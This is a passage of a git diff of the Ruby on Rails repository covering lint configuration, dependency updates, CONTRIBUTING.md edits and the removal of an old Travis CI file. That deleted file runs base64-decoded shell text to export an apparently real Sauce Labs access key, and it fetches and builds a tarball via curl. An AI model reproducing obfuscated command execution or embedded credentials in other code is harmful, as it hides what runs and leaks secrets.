-/railties/test/500.html
-/railties/test/fixtures/tmp
-/railties/test/initializer/root/log
-/railties/doc
-/railties/tmp
-/guides/output
+/dist/
+/doc/
+/guides/output/
+/preview/
+preview.tar.gz
+Brewfile.lock.json
+debug.log*
+node_modules/
+package-lock.json
+pkg/
+/tmp/
+/yarn-error.log
+/test-reports/
diff --git a/.mdlrc b/.mdlrc
new file mode 100644
index 0000000000000..4e92d0f58cb91
--- /dev/null
+++ b/.mdlrc
@@ -0,0 +1 @@
+style "#{File.dirname(__FILE__)}/.mdlrc.rb"
\ No newline at end of file
diff --git a/.mdlrc.rb b/.mdlrc.rb
new file mode 100644
index 0000000000000..2788e6a1ffcbd
--- /dev/null
+++ b/.mdlrc.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+all
+
+exclude_rule "MD003"
+exclude_rule "MD004"
+exclude_rule "MD005"
+exclude_rule "MD006"
+exclude_rule "MD007"
+exclude_rule "MD012"
+exclude_rule "MD014"
+exclude_rule "MD024"
+exclude_rule "MD026"
+exclude_rule "MD032"
+exclude_rule "MD033"
+exclude_rule "MD034"
+exclude_rule "MD036"
+exclude_rule "MD040"
+exclude_rule "MD041"
+
+rule "MD013", line_length: 2000, ignore_code_blocks: true
+# rule "MD024", allow_different_nesting: true # This did not work as intended, see action_cable_overview.md
+rule "MD029", style: :ordered
+# rule "MD046", style: :consistent # default (:fenced)
diff --git a/.rubocop.yml b/.rubocop.yml
index 0d1d0c36ce87f..a1bae07239aa7 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -1,95 +1,197 @@
+plugins:
+  - rubocop-minitest
+  - rubocop-packaging
+  - rubocop-performance
+  - rubocop-rails
+  - rubocop-md
+
 AllCops:
-  TargetRubyVersion: 2.2
   # RuboCop has a bunch of cops enabled by default. This setting tells RuboCop
   # to ignore them, so only the ones explicitly set in this file are enabled.
   DisabledByDefault: true
+  SuggestExtensions: false
   Exclude:
+    - '**/tmp/**/*'
     - '**/templates/**/*'
     - '**/vendor/**/*'
-    - 'actionpack/lib/action_dispatch/journey/parser.rb'
+    - 'actionmailbox/test/dummy/**/*'
+    - 'activestorage/test/dummy/**/*'
+    - 'actiontext/test/dummy/**/*'
+    - 'tools/rail_inspector/test/fixtures/*'
+    - guides/source/debugging_rails_applications.md
+    - guides/source/active_support_instrumentation.md
+    - '**/node_modules/**/*'
+    - '**/CHANGELOG.md'
+    - '**/2_*_release_notes.md'
+    - '**/3_*_release_notes.md'
+    - '**/4_*_release_notes.md'
+    - '**/5_*_release_notes.md'
+    - '**/6_*_release_notes.md'
+
+
+Performance:
+  Exclude:
+    - '**/test/**/*'
+
+# Prefer assert_not over assert !
+Rails/AssertNot:
+  Include:
+    - '**/test/**/*'
+
+# Prefer assert_not_x over refute_x
+Rails/RefuteMethods:
+  Include:
+    - '**/test/**/*'
+
+Rails/IndexBy:
+  Enabled: true
+
+Rails/IndexWith:
+  Enabled: true
 
 # Prefer &&/|| over and/or.
 Style/AndOr:
   Enabled: true
 
-# Do not use braces for hash literals when they are the last argument of a
-# method call.
-Style/BracesAroundHashParameters:
+Layout/ClosingHeredocIndentation:
   Enabled: true
 
-# Align `when` with `case`.
-Style/CaseIndentation:
+Layout/ClosingParenthesisIndentation:
   Enabled: true
 
 # Align comments with method definitions.
-Style/CommentIndentation:
+Layout/CommentIndentation:
+  Enabled: true
+
+Layout/DefEndAlignment:
+  Enabled: true
+
+Layout/ElseAlignment:
+  Enabled: true
+
+# Align `end` with the matching keyword or starting expression except for
+# assignments, where it should be aligned with the LHS.
+Layout/EndAlignment:
+  Enabled: true
+  EnforcedStyleAlignWith: variable
+  AutoCorrect: true
+
+Layout/EndOfLine:
   Enabled: true
 
-# No extra empty lines.
-Style/EmptyLines:
+Layout/EmptyLineAfterMagicComment:
+  Enabled: true
+
+Layout/EmptyLinesAroundAccessModifier:
+  Enabled: true
+  EnforcedStyle: only_before
+
+Layout/EmptyLinesAroundBlockBody:
   Enabled: true
 
 # In a regular class definition, no empty lines around the body.
-Style/EmptyLinesAroundClassBody:
+Layout/EmptyLinesAroundClassBody:
   Enabled: true
 
 # In a regular method definition, no empty lines around the body.
-Style/EmptyLinesAroundMethodBody:
+Layout/EmptyLinesAroundMethodBody:
   Enabled: true
 
 # In a regular module definition, no empty lines around the body.
-Style/EmptyLinesAroundModuleBody:
+Layout/EmptyLinesAroundModuleBody:
   Enabled: true
 
 # Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a => :b }.
 Style/HashSyntax:
   Enabled: true
+  EnforcedShorthandSyntax: either
 
 # Method definitions after `private` or `protected` isolated calls need one
 # extra level of indentation.
-Style/IndentationConsistency:
+Layout/IndentationConsistency:
   Enabled: true
-  EnforcedStyle: rails
+  EnforcedStyle: indented_internal_methods
+  Exclude:
+    - '**/*.md'
 
 # Two spaces, no tabs (for indentation).
-Style/IndentationWidth:
+Layout/IndentationWidth:
   Enabled: true
 
-Style/SpaceAfterColon:
+Layout/LeadingCommentSpace:
   Enabled: true
 
-Style/SpaceAfterComma:
+Layout/SpaceAfterColon:
   Enabled: true
 
-Style/SpaceAroundEqualsInParameterDefault:
+Layout/SpaceAfterComma:
   Enabled: true
 
-Style/SpaceAroundKeyword:
+Layout/SpaceAfterSemicolon:
   Enabled: true
 
-Style/SpaceAroundOperators:
+Layout/SpaceAroundEqualsInParameterDefault:
   Enabled: true
 
-Style/SpaceBeforeFirstArg:
-    Enabled: true
+Layout/SpaceAroundKeyword:
+  Enabled: true
+
+Layout/SpaceAroundOperators:
+  Enabled: true
+
+Layout/SpaceBeforeComma:
+  Enabled: true
+
+Layout/SpaceBeforeComment:
+  Enabled: true
+
+Layout/SpaceBeforeFirstArg:
+  Enabled: true
+
+Style/DefWithParentheses:
+  Enabled: true
 
 # Defining a method with parameters needs parentheses.
 Style/MethodDefParentheses:
   Enabled: true
 
+Style/ExplicitBlockArgument:
+  Enabled: true
+
+Style/FrozenStringLiteralComment:
+  Enabled: true
+  EnforcedStyle: always
+  Exclude:
+    - 'actionview/test/**/*.builder'
+    - 'actionview/test/**/*.ruby'
+    - 'actionpack/test/**/*.builder'
+    - 'actionpack/test/**/*.ruby'
+    - 'activestorage/db/migrate/**/*.rb'
+    - 'activestorage/db/update_migrate/**/*.rb'
+    - 'actionmailbox/db/migrate/**/*.rb'
+    - 'actiontext/db/migrate/**/*.rb'
+    - '**/*.md'
+
+Style/MapToHash:
+  Enabled: true
+
+Style/RedundantFreeze:
+  Enabled: true
+
 # Use `foo {}` not `foo{}`.
-Style/SpaceBeforeBlockBraces:
+Layout/SpaceBeforeBlockBraces:
   Enabled: true
 
 # Use `foo { bar }` not `foo {bar}`.
-Style/SpaceInsideBlockBraces:
+Layout/SpaceInsideBlockBraces:
   Enabled: true
+  EnforcedStyleForEmptyBraces: space
 
 # Use `{ a: 1 }` not `{a:1}`.
-Style/SpaceInsideHashLiteralBraces:
+Layout/SpaceInsideHashLiteralBraces:
   Enabled: true
 
-Style/SpaceInsideParens:
+Layout/SpaceInsideParens:
   Enabled: true
 
 # Check quotes usage according to lint rule below.
@@ -98,27 +200,211 @@ Style/StringLiterals:
   EnforcedStyle: double_quotes
 
 # Detect hard tabs, no hard tabs.
-Style/Tab:
+Layout/IndentationStyle:
   Enabled: true
 
-# Blank lines should not have any spaces.
-Style/TrailingBlankLines:
+# Empty lines should not have any spaces.
+Layout/TrailingEmptyLines:
   Enabled: true
 
 # No trailing whitespace.
-Style/TrailingWhitespace:
+Layout/TrailingWhitespace:
   Enabled: true
 
 # Use quotes for string literals when they are enough.
-Style/UnneededPercentQ:
+Style/RedundantPercentQ:
   Enabled: true
 
-# Align `end` with the matching keyword or starting expression except for
-# assignments, where it should be aligned with the LHS.
-Lint/EndAlignment:
+Lint/NestedMethodDefinition:
+  Enabled: true
+
+Lint/AmbiguousOperator:
+  Enabled: true
+
+Lint/AmbiguousRegexpLiteral:
+  Enabled: true
+
+Lint/Debugger:
+  Enabled: true
+  DebuggerRequires:
+    - debug
+
+Lint/DuplicateRequire:
+  Enabled: true
+
+Lint/DuplicateMagicComment:
+  Enabled: true
+
+Lint/DuplicateMethods:
+  Enabled: true
+
+Lint/ErbNewArguments:
+  Enabled: true
+
+Lint/EnsureReturn:
+  Enabled: true
+
+Lint/MissingCopEnableDirective:
   Enabled: true
-  EnforcedStyleAlignWith: variable
 
 # Use my_method(my_arg) not my_method( my_arg ) or my_method my_arg.
 Lint/RequireParentheses:
   Enabled: true
+
+Lint/RedundantCopDisableDirective:
+  Enabled: true
+
+Lint/RedundantCopEnableDirective:
+  Enabled: true
+
+Lint/RedundantRequireStatement:
+  Enabled: true
+
+Lint/RedundantStringCoercion:
+  Enabled: true
+
+Lint/RedundantSafeNavigation:
+  Enabled: true
+
+Lint/UriEscapeUnescape:
+  Enabled: true
+
+Lint/UselessAssignment:
+  Enabled: true
+
+Lint/DeprecatedClassMethods:
+  Enabled: true
+
+Lint/InterpolationCheck:
+  Enabled: true
+  Exclude:
+    - '**/test/**/*'
+
+Lint/SafeNavigationChain:
+  Enabled: true
+
+Style/EvalWithLocation:
+  Enabled: true
+  Exclude:
+    - '**/test/**/*'
+
+Style/ParenthesesAroundCondition:
+  Enabled: true
+
+Style/HashTransformKeys:
+  Enabled: true
+
+Style/HashTransformValues:
+  Enabled: true
+
+Style/RedundantBegin:
+  Enabled: true
+
+Style/RedundantReturn:
+  Enabled: true
+  AllowMultipleReturnValues: true
+
+Style/RedundantRegexpEscape:
+  Enabled: true
+
+Style/Semicolon:
+  Enabled: true
+  AllowAsExpressionSeparator: true
+
+# Prefer Foo.method over Foo::method
+Style/ColonMethodCall:
+  Enabled: true
+
+Style/TrivialAccessors:
+  Enabled: true
+
+# Prefer a = b || c over a = b ? b : c
+Style/RedundantCondition:
+  Enabled: true
+
+Style/RedundantDoubleSplatHashBraces:
+  Enabled: true
+
+Style/OpenStructUse:
+  Enabled: true
+
+Style/ArrayIntersect:
+  Enabled: true
+
+Style/KeywordArgumentsMerging:
+  Enabled: true
+
+Performance/BindCall:
+  Enabled: true
+
+Performance/FlatMap:
+  Enabled: true
+
+Performance/MapCompact:
+  Enabled: true
+
+Performance/SelectMap:
+  Enabled: true
+
+Performance/RedundantMerge:
+  Enabled: true
+
+Performance/StartWith:
+  Enabled: true
+
+Performance/EndWith:
+  Enabled: true
+
+Performance/RegexpMatch:
+  Enabled: true
+
+Performance/ReverseEach:
+  Enabled: true
+
+Performance/StringReplacement:
+  Enabled: true
+
+Performance/DeletePrefix:
+  Enabled: true
+
+Performance/DeleteSuffix:
+  Enabled: true
+
+Performance/InefficientHashSearch:
+  Enabled: true
+
+Performance/ConstantRegexp:
+  Enabled: true
+
+Performance/RedundantStringChars:
+  Enabled: true
+
+Performance/StringInclude:
+  Enabled: true
+
+Minitest/AssertNil:
+  Enabled: true
+
+Minitest/AssertRaisesWithRegexpArgument:
+  Enabled: true
+
+Minitest/AssertWithExpectedArgument:
+  Enabled: true
+
+Minitest/LiteralAsActualArgument:
+  Enabled: true
+
+Minitest/NonExecutableTestMethod:
+  Enabled: true
+
+Minitest/SkipEnsure:
+  Enabled: true
+
+Minitest/UnreachableAssertion:
+  Enabled: true
+
+Markdown:
+  # Whether to run RuboCop against non-valid snippets
+  WarnInvalid: true
+  # Whether to lint codeblocks without code attributes
+  Autodetect: false
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100644
index eafa06e44f14b..0000000000000
--- a/.travis.yml
+++ /dev/null
@@ -1,112 +0,0 @@
-language: ruby
-sudo: false
-
-cache:
-  bundler: true
-  directories:
-    - /tmp/cache/unicode_conformance
-    - /tmp/beanstalkd-1.10
-
-services:
-  - memcached
-  - redis
-
-addons:
-  postgresql: "9.4"
-
-bundler_args: --without test --jobs 3 --retry 3
-before_install:
-  - "rm ${BUNDLE_GEMFILE}.lock"
-  - "gem update --system"
-  - "gem update bundler"
-  - "[ -f /tmp/beanstalkd-1.10/Makefile ] || (curl -L https://github.com/kr/beanstalkd/archive/v1.10.tar.gz | tar xz -C /tmp)"
-  - "pushd /tmp/beanstalkd-1.10 && make && (./beanstalkd &); popd"
-
-before_script:
-  # Set Sauce Labs username and access key. Obfuscated, purposefully not encrypted.
-  # Decodes to e.g. `export VARIABLE=VALUE`
-  - $(base64 --decode <<< "ZXhwb3J0IFNBVUNFX0FDQ0VTU19LRVk9YTAzNTM0M2YtZTkyMi00MGIzLWFhM2MtMDZiM2VhNjM1YzQ4")
-  - $(base64 --decode <<< "ZXhwb3J0IFNBVUNFX1VTRVJOQU1FPXJ1YnlvbnJhaWxz")
-
-script: 'ci/travis.rb'
-
-env:
-  global:
-    - "JRUBY_OPTS='--dev -J-Xmx1024M'"
-  matrix:
-    - "GEM=railties"
-    - "GEM=ap,ac"
-    - "GEM=am,amo,as,av,aj"
-    - "GEM=as PRESERVE_TIMEZONES=1"
-    - "GEM=ar:mysql2"
-    - "GEM=ar:sqlite3"
-    - "GEM=ar:postgresql"
-    - "GEM=guides"
-    - "GEM=ac:integration"
-
-rvm:
-  - 2.2.6
-  - 2.3.3
-  - 2.4.0
-  - ruby-head
-
-matrix:
-  include:
-    - rvm: 2.2.6
-      env: "GEM=aj:integration"
-      services:
-        - memcached
-        - redis
-        - rabbitmq
-    - rvm: 2.3.3
-      env: "GEM=aj:integration"
-      services:
-        - memcached
-        - redis
-        - rabbitmq
-    - rvm: 2.4.0
-      env: "GEM=aj:integration"
-      services:
-        - memcached
-        - redis
-        - rabbitmq
-    - rvm: ruby-head
-      env: "GEM=aj:integration"
-      services:
-        - memcached
-        - redis
-        - rabbitmq
-    - rvm: 2.3.3
-      env:
-        - "GEM=ar:mysql2 MYSQL=mariadb"
-      addons:
-        mariadb: 10.0
-    - rvm: 2.4.0
-      env:
-        - "GEM=ar:sqlite3_mem"
-    - rvm: jruby-9.1.7.0
-      jdk: oraclejdk8
-      env:
-        - "GEM=ap"
-    - rvm: jruby-9.1.7.0
-      jdk: oraclejdk8
-      env:
-        - "GEM=am,aj"
-  allow_failures:
-    - rvm: ruby-head
-    - rvm: jruby-9.1.7.0
-    - env: "GEM=ac:integration"
-  fast_finish: true
-
-notifications:
-  email: false
-  irc:
-    on_success: change
-    on_failure: always
-    channels:
-      - "irc.freenode.org#rails-contrib"
-  campfire:
-    on_success: change
-    on_failure: always
-    rooms:
-      - secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
diff --git a/.yardopts b/.yardopts
index 25ec38658f55c..27130107a5773 100644
--- a/.yardopts
+++ b/.yardopts
@@ -1,4 +1,5 @@
 --exclude /templates/
 --quiet
 act*/lib/**/*.rb
+act*/app/**/*.rb
 railties/lib/**/*.rb
diff --git a/.yarnrc b/.yarnrc
new file mode 100644
index 0000000000000..6be74e145d786
--- /dev/null
+++ b/.yarnrc
@@ -0,0 +1,2 @@
+workspaces-experimental true
+--add.prefer-offline true
\ No newline at end of file
diff --git a/Brewfile b/Brewfile
new file mode 100644
index 0000000000000..f767e801d1f1b
--- /dev/null
+++ b/Brewfile
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+brew "ffmpeg"
+brew "memcached"
+brew "mysql"
+brew "postgresql@16"
+brew "libpq"
+brew "redis"
+brew "yarn"
+cask "xquartz"
+brew "mupdf"
+brew "poppler"
+brew "imagemagick"
+brew "vips"
diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
index 078d5f121901f..d3c1555f706fa 100644
--- a/CODE_OF_CONDUCT.md
+++ b/CODE_OF_CONDUCT.md
@@ -4,9 +4,8 @@ The Rails team is committed to fostering a welcoming community.
 
 **Our Code of Conduct can be found here**:
 
-http://rubyonrails.org/conduct/
+https://rubyonrails.org/conduct
 
 For a history of updates, see the page history here:
 
-https://github.com/rails/rails.github.com/commits/master/conduct/index.html
-
+https://github.com/rails/website/commits/main/_pages/conduct.html
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index f6ebef7e898f9..cd339c4e34d53 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,17 +1,31 @@
+[![Build Status](https://badge.buildkite.com/ab1152b6a1f6a61d3ea4ec5b3eece8d4c2b830998459c75352.svg?branch=main)](https://buildkite.com/rails/rails)
+[![Code Triage Badge](https://www.codetriage.com/rails/rails/badges/users.svg)](https://www.codetriage.com/rails/rails)
+[![Version](https://img.shields.io/gem/v/rails)](https://rubygems.org/gems/rails)
+[![License](https://img.shields.io/github/license/rails/rails)](https://github.com/rails/rails)
+
 ## How to contribute to Ruby on Rails
 
 #### **Did you find a bug?**
 
+* **Do not open up a GitHub issue if the bug is a security vulnerability
+  in Rails**, and instead to refer to our [security policy](https://rubyonrails.org/security).
+
 * **Ensure the bug was not already reported** by searching on GitHub under [Issues](https://github.com/rails/rails/issues).
 
 * If you're unable to find an open issue addressing the problem, [open a new one](https://github.com/rails/rails/issues/new). Be sure to include a **title and clear description**, as much relevant information as possible, and a **code sample** or an **executable test case** demonstrating the expected behavior that is not occurring.
 
 * If possible, use the relevant bug report templates to create the issue. Simply copy the content of the appropriate template into a .rb file, make the necessary changes to demonstrate the issue, and **paste the content into the issue description**:
-  * [**Active Record** (models, database) issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
-  * [**Action Pack** (controllers, routing) issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb)
-  * [**Generic template** for other issues](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb)
-
-* For more detailed information on submitting a bug report and creating an issue, visit our [reporting guidelines](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#reporting-an-issue).
+  * [**Active Record** (models, encryption, database) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_record.rb)
+  * [**Active Record Migrations** issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_record_migrations.rb)
+  * [**Action View** (views, helpers) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_view.rb)
+  * [**Active Job** issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_job.rb)
+  * [**Active Storage** issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/active_storage.rb)
+  * [**Action Mailer** issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_mailer.rb)
+  * [**Action Mailbox** issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_mailbox.rb)
+  * [**Action Pack** (controllers, routing) issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/action_controller.rb)
+  * [**Generic template** for other issues](https://github.com/rails/rails/blob/main/guides/bug_report_templates/generic.rb)
+
+* For more detailed information on submitting a bug report and creating an issue, visit our [reporting guidelines](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#reporting-an-issue).
 
 #### **Did you write a patch that fixes a bug?**
 
@@ -19,7 +33,7 @@
 
 * Ensure the PR description clearly describes the problem and solution. Include the relevant issue number if applicable.
 
-* Before submitting, please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide to know more about coding conventions and benchmarks.
+* Before submitting, please read the [Contributing to Ruby on Rails](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide to know more about coding conventions and benchmarks.
 
 #### **Did you fix whitespace, format code, or make a purely cosmetic patch?**
 
@@ -27,20 +41,21 @@ Changes that are cosmetic in nature and do not add anything substantial to the s
 
 #### **Do you intend to add a new feature or change an existing one?**
 
-* Suggest your change in the [rubyonrails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core) and start writing code.
+* Suggest your change in the [rubyonrails-core forum](https://discuss.rubyonrails.org/c/rubyonrails-core) and start writing code.
 
 * Do not open an issue on GitHub until you have collected positive feedback about the change. GitHub issues are primarily intended for bug reports and fixes.
 
+* We generally reject changes to Active Support core extensions. Those change should be proposed in the [Ruby issue tracker instead](https://bugs.ruby-lang.org/issues), as we don't want to conflict with future versions of Ruby.
+
 #### **Do you have questions about the source code?**
 
-* Ask any question about how to use Ruby on Rails in the [rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
+* Ask any question about how to use Ruby on Rails in the [rubyonrails-talk mailing list](https://discuss.rubyonrails.org/c/rubyonrails-talk).
 
 #### **Do you want to contribute to the Rails documentation?**
 
-* Please read [Contributing to the Rails Documentation](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation).
+* Please read [Contributing to the Rails Documentation](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation).
 
-</br>
-Ruby on Rails is a volunteer effort. We encourage you to pitch in and [join the team](http://contributors.rubyonrails.org)!
+Ruby on Rails is a volunteer effort. We encourage you to pitch in and join [the team](https://contributors.rubyonrails.org)!
 
 Thanks! :heart: :heart: :heart:
 
diff --git a/Gemfile b/Gemfile
index 9f40bae83f079..6fefb2c143557 100644
--- a/Gemfile
+++ b/Gemfile
@@ -1,153 +1,165 @@
-source "https://rubygems.org"
-
-git_source(:github) do |repo_name|
-  repo_name = "#{repo_name}/#{repo_name}" unless repo_name.include?("/")
-  "https://github.com/#{repo_name}.git"
-end
+# frozen_string_literal: true
 
+source "https://rubygems.org"
 gemspec
 
-gem "arel", github: "rails/arel"
+gem "minitest"
 
 # We need a newish Rake since Active Job sets its test tasks' descriptions.
-gem "rake", ">= 11.1"
+gem "rake", ">= 13"
 
-# This needs to be with require false to ensure correct loading order, as it has to
-# be loaded after loading the test library.
-gem "mocha", "~> 0.14", require: false
+gem "releaser", path: "tools/releaser"
 
-gem "rack-cache", "~> 1.2"
-gem "jquery-rails"
-gem "coffee-rails"
-gem "sass-rails"
-gem "turbolinks", "~> 5"
+gem "sprockets-rails", ">= 2.0.0", require: false
+gem "propshaft", ">= 0.1.7", "!= 1.0.1"
+gem "capybara", ">= 3.39"
+gem "selenium-webdriver", ">= 4.20.0"
 
-# require: false so bcrypt is loaded only when has_secure_password is used.
+gem "rack-cache", "~> 1.2"
+gem "stimulus-rails"
+gem "turbo-rails"
+gem "jsbundling-rails"
+gem "cssbundling-rails"
+gem "importmap-rails", ">= 1.2.3"
+gem "tailwindcss-rails"
+gem "dartsass-rails"
+gem "solid_cache"
+gem "solid_queue"
+gem "solid_cable"
+gem "kamal", ">= 2.1.0", require: false
+gem "thruster", require: false
+# require: false so bcrypt and argon2 are loaded only when has_secure_password is used.
 # This is to avoid Active Model (and by extension the entire framework)
-# being dependent on a binary library.
+# being dependent on binary libraries.
 gem "bcrypt", "~> 3.1.11", require: false
+gem "argon2", "~> 2.3.2", require: false
 
 # This needs to be with require false to avoid it being automatically loaded by
 # sprockets.
-gem "uglifier", ">= 1.3.0", require: false
-
-# FIXME: Remove this fork after https://github.com/nex3/rb-inotify/pull/49 is fixed.
-gem "rb-inotify", github: "matthewd/rb-inotify", branch: "close-handling", require: false
+gem "terser", ">= 1.1.4", require: false
 
 # Explicitly avoid 1.x that doesn't support Ruby 2.4+
-gem "json", ">= 2.0.0"
+gem "json", ">= 2.0.0", "!=2.7.0"
 
-gem "rubocop", ">= 0.47", require: false
+# Workaround until all supported Ruby versions ship with uri version 0.13.1 or higher.
+gem "uri", ">= 0.13.1", require: false
+
+gem "prism"
+
+group :rubocop do
+  gem "rubocop", "1.79.2", require: false
+  gem "rubocop-minitest", require: false
+  gem "rubocop-packaging", require: false
+  gem "rubocop-performance", require: false
+  gem "rubocop-rails", require: false
+  gem "rubocop-md", require: false
+
+  # This gem is used in Railties tests so it must be a development dependency.
+  gem "rubocop-rails-omakase", require: false
+end
+
+group :mdl do
+  gem "mdl", "!= 0.13.0", require: false
+end
 
 group :doc do
-  gem "sdoc", "1.0.0.rc1"
-  gem "redcarpet", "~> 3.2.3", platforms: :ruby
-  gem "w3c_validators"
-  gem "kindlerb", "~> 1.2.0"
+  gem "sdoc", "~> 2.6.4"
+  gem "redcarpet", "~> 3.6.1", platforms: :ruby
+  gem "w3c_validators", "~> 1.3.6"
+  gem "rouge"
+  gem "rubyzip", "~> 2.0"
 end
 
-# Active Support.
-gem "dalli", ">= 2.2.1"
-gem "listen", ">= 3.0.5", "< 3.2", require: false
+# Active Support
+gem "dalli", ">= 3.0.1"
+gem "listen", "~> 3.3", require: false
 gem "libxml-ruby", platforms: :ruby
+gem "connection_pool", require: false
+gem "rexml", require: false
+gem "msgpack", ">= 1.7.0", require: false
+
+# for railties
+gem "bootsnap", ">= 1.4.4", require: false
+gem "webrick", require: false
+gem "jbuilder", require: false
+gem "web-console", require: false
+
+# Action Pack and railties
+rack_version = ENV.fetch("RACK", "~> 3.0")
+if rack_version != "head"
+  gem "rack", rack_version
+else
+  gem "rack", git: "https://github.com/rack/rack.git", branch: "main"
+end
 
-# Action View. For testing Erubis handler deprecation.
-gem "erubis", "~> 2.7.0", require: false
+gem "useragent", require: false
 
-# Active Job.
+# Active Job
 group :job do
   gem "resque", require: false
   gem "resque-scheduler", require: false
   gem "sidekiq", require: false
-  gem "sucker_punch", require: false
-  gem "delayed_job", require: false
-  gem "queue_classic", github: "QueueClassic/queue_classic", branch: "master", require: false, platforms: :ruby
+  gem "queue_classic", ">= 4.0.0", require: false, platforms: :ruby
   gem "sneakers", require: false
-  gem "que", require: false
   gem "backburner", require: false
-  #TODO: add qu after it support Rails 5.1
-  # gem 'qu-rails', github: "bkeepers/qu", branch: "master", require: false
-  gem "qu-redis", require: false
-  gem "delayed_job_active_record", require: false
-  gem "sequel", require: false
 end
 
 # Action Cable
 group :cable do
-  gem "puma", require: false
+  gem "puma", ">= 5.0.3", require: false
+
+  gem "redis", ">= 4.0.1", require: false
 
-  gem "em-hiredis", require: false
-  gem "hiredis", require: false
-  gem "redis", require: false
+  gem "redis-namespace"
+
+  gem "websocket-client-simple", require: false
+end
 
-  gem "websocket-client-simple", github: "matthewd/websocket-client-simple", branch: "close-race", require: false
+# Active Storage
+group :storage do
+  gem "aws-sdk-s3", require: false
+  gem "google-cloud-storage", "~> 1.11", require: false
 
-  gem "blade", require: false, platforms: [:ruby]
-  gem "blade-sauce_labs_plugin", require: false, platforms: [:ruby]
+  gem "image_processing", "~> 1.2"
 end
 
+# Action Mailbox
+gem "aws-sdk-sns", require: false
+gem "webmock"
+
 # Add your own local bundler stuff.
-local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
+local_gemfile = File.expand_path(".Gemfile", __dir__)
 instance_eval File.read local_gemfile if File.exist? local_gemfile
 
 group :test do
-  # FIX: Our test suite isn't ready to run in random order yet.
-  gem "minitest", "< 5.3.4"
+  gem "minitest-bisect", require: false
+  gem "minitest-ci", require: false
+  gem "minitest-retry"
 
   platforms :mri do
     gem "stackprof"
-    gem "byebug"
+    gem "debug", ">= 1.1.0", require: false
   end
 
-  gem "benchmark-ips"
+  # Needed for Railties tests because it is included in generated apps.
+  gem "brakeman"
+  gem "bundler-audit"
 end
 
-platforms :ruby, :mswin, :mswin64, :mingw, :x64_mingw do
-  gem "nokogiri", ">= 1.6.8"
-
-  # Needed for compiling the ActionDispatch::Journey parser.
-  gem "racc", ">=1.4.6", require: false
+platforms :ruby, :windows do
+  gem "nokogiri", ">= 1.8.1", "!= 1.11.0"
 
   # Active Record.
-  gem "sqlite3", "~> 1.3.6"
+  gem "sqlite3", ">= 2.1"
 
   group :db do
-    gem "pg", ">= 0.18.0"
-    gem "mysql2", ">= 0.4.4"
+    gem "pg", "~> 1.3"
+    gem "mysql2", "~> 0.5", "< 0.5.7"
+    gem "trilogy", ">= 2.7.0"
   end
 end
 
-platforms :jruby do
-  if ENV["AR_JDBC"]
-    gem "activerecord-jdbcsqlite3-adapter", github: "jruby/activerecord-jdbc-adapter", branch: "master"
-    group :db do
-      gem "activerecord-jdbcmysql-adapter", github: "jruby/activerecord-jdbc-adapter", branch: "master"
-      gem "activerecord-jdbcpostgresql-adapter", github: "jruby/activerecord-jdbc-adapter", branch: "master"
-    end
-  else
-    gem "activerecord-jdbcsqlite3-adapter", ">= 1.3.0"
-    group :db do
-      gem "activerecord-jdbcmysql-adapter", ">= 1.3.0"
-      gem "activerecord-jdbcpostgresql-adapter", ">= 1.3.0"
-    end
-  end
-end
-
-platforms :rbx do
-  # The rubysl-yaml gem doesn't ship with Psych by default as it needs
-  # libyaml that isn't always available.
-  gem "psych", "~> 2.0"
-end
-
-# Gems that are necessary for Active Record tests with Oracle.
-if ENV["ORACLE_ENHANCED"]
-  platforms :ruby do
-    gem "ruby-oci8", "~> 2.2"
-  end
-  gem "activerecord-oracle_enhanced-adapter", github: "rsim/oracle-enhanced", branch: "master"
-end
+gem "tzinfo-data", platforms: [:windows, :jruby]
+gem "wdm", ">= 0.1.0", platforms: [:windows]
 
-# A gem necessary for Active Record tests with IBM DB.
-gem "ibm_db" if ENV["IBM_DB"]
-gem "tzinfo-data", platforms: [:mingw, :mswin, :x64_mingw, :jruby]
-gem "wdm", ">= 0.1.0", platforms: [:mingw, :mswin, :x64_mingw, :mswin64]
+gem "launchy"
diff --git a/Gemfile.lock b/Gemfile.lock
index c40730a33df2f..0b2bfe5987e7d 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,424 +1,790 @@
-GIT
-  remote: https://github.com/QueueClassic/queue_classic.git
-  revision: 51d56ca6fa2fdf1eeffdffd702ae1cc0940b5156
-  branch: master
-  specs:
-    queue_classic (3.2.0.RC1)
-      pg (>= 0.17, < 0.20)
-
-GIT
